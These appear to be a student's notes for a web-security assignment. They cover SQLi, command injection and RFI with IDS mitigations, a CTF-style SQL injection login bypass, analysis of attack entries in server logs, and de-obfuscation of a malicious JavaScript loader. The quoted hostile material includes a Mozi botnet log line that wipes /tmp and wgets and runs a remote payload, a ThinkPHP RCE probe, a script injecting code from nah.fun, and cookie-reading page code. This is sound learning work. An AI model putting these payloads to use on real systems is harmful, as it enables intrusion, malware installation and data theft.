3Q1

A) I) SQL injection: A vulnerability that allows an attacker to send malicious inputs on a website with unsanitised inputs. The capabilities of an SQLi attack involve elevation of privilege, Information Gathering, Tampering, and Denial of Service (through computationally expensive requests)

Command injection: A vulnerability that allows an attacker to execute arbitrary shell commands on a server. The capabilities of Command Injection involve elevation of privilege, information gathering, Denial of Service

Remote file inclusion: A vulnerability that targets webpages which dynamically reference external scripts to allow an attacker to get malicious code running on the webserver. The capabilities of RFI include information gathering and tampering, elevation of privilege.

Ii) How does an IDS mitigate the 3 vulnerabilities above: An IDS uses deep packet monitoring to search for potentially malicious information in the packet payload. For example, a signature based IDS could be useful to detect SQLi requests being sent to the server, looking for escape chars in the packet payload.

IDS can filter requests that include SQL commands to prevent SQL injection.

IDS can filter requests that include shell commands using regex patterns to prevent Shell injections.

IDS can specifically filter packet requests based on the endpoint/route it is trying to access, and only allow certain request parameters for file inclusion (e.g. ‘admin’,’mysql’,’profile’), thus dropping any other requests, and preventing remote file inclusion attacks.

Its limitations: Especially for the attacks given above, it would be quite computationally expensive to have an IDS conduct deep packet inspection for all the requests on a webpage. If the IDS isn’t a signature based IDS it can suffer from false positives.

B) SQLi

I) url to /hidden/help.html is in the comments in the source code

Ii) ? How do you extract data?

Iii) [bt@cybersec.fun](mailto:bt@cybersec.fun) available on the help page listed above, however this is a non-admin user. (you can log in using “[bt@cybersec.fun](mailto:bt@cybersec.fun)' -- “ as a username. ffe.is contains database admin [db456@cybersec.fun](mailto:db456@cybersec.fun), however the same method to log in does not seem to work for it... not sure what to do here

Q2

A) Note files are available in the file folder.

ID: 9 193.27.229.26 331.cybersec.fun - [25/Oct/2020:09:28:19 +0000] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call\_user\_func\_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 200 89 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"

Seems to be related this [this](https://securitynews.sonicwall.com/xmlpost/thinkphp-remote-code-execution-rce-bug-is-actively-being-exploited/)

ID:71 115.53.225.155 331.cybersec.fun - [28/Oct/2020:11:54:30 +0000] "GET /setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://115.53.225.155:34512/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 200 89 "-" "-"

Command injection / remote code execution? - Seems to be related to [the Mozi botnet](https://thehackernews.com/2021/08/mozi-iot-botnet-now-also-targets.html)

**INFORMATION GATHERING**

ID:39 82.145.220.49 331.cybersec.fun - [26/Oct/2020:13:45:34 +0000] "GET /wp-content/plugins/superstorefinder-wp/js/docs.js HTTP/1.1" 404 335 "<https://331.cybersec.fun/>" "Opera/9.80 (Android; Opera Mini/7.6.40234/187.18; U; en) Presto/2.12.423 Version/12.16"

**mitigation**

Drop all requests which are made to routes that are not available or accessible on the server-side. It will stop attackers from learning more about the server-side system.

**Is there a third one?**

ID:81 35.184.160.78 331.cybersec.fun - [28/Oct/2020:15:17:10 +0000] "GET /off-path.pdf HTTP/1.1" 200 574724 "-" "**Go-http-client/1.1**"

Spoofing user agent? (probably Golang http API?)

b)

i)

b=atob(a) returns the string:

"/\* good start, keep going... \*/\n\nwith (document){\n var e;\n e = createElement('\\x73\\x63\\x72\\x69\\x70\\x74');\n e.setAttribute('\\x73\\x72\\x63','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x6e\\x61\\x68\\x2e\\x66\\x75\\x6e\\x2f\\x71\\x32\\x62\\x69\\x2e\\x6a\\x73');\n body.appendChild(e);\n}\n"

Which is equivalent to the following de-obfuscated JavaScript code:

**with (document) {**

**var e;**

**e = createElement("script");**

**e.setAttribute("src", "https://nah.fun/q2bi.js");**

**body.appendChild(e);**

**}**

(b=atob(a),()=>1) returns the function () => 1

(() => 1).constructor(b) causes the malicious JavaScript code to be executed when this function is called with (delete b)

As b wasn’t declared with the var keyword, the delete operator resets its value to null.

Reflected XSS?

SELF-XSS?

drive-by download?

This could be considered as a form of cross-site scripting using remote file inclusion

ii)

Nah.fun.html

<html><head>

<meta http-equiv="content-type" content="text/html; charset=windows-1252">

<style>

img {

display: block;

margin-left: auto;

margin-right: auto;

}

</style>

</head>

<body style="background-color:black;">

<img src="nah.fun\_files/hackr.gif">

<script>

b=document.cookie.split('=')[1]+'=';

if (/^17\./.test('31.14.251.27')){b(b=b.slice(2))};

b=b.slice(0,-2);

</script>

<script>

open('https://cybersec.fun/setup.cgi?'+atob(b));

</script>

</body></html>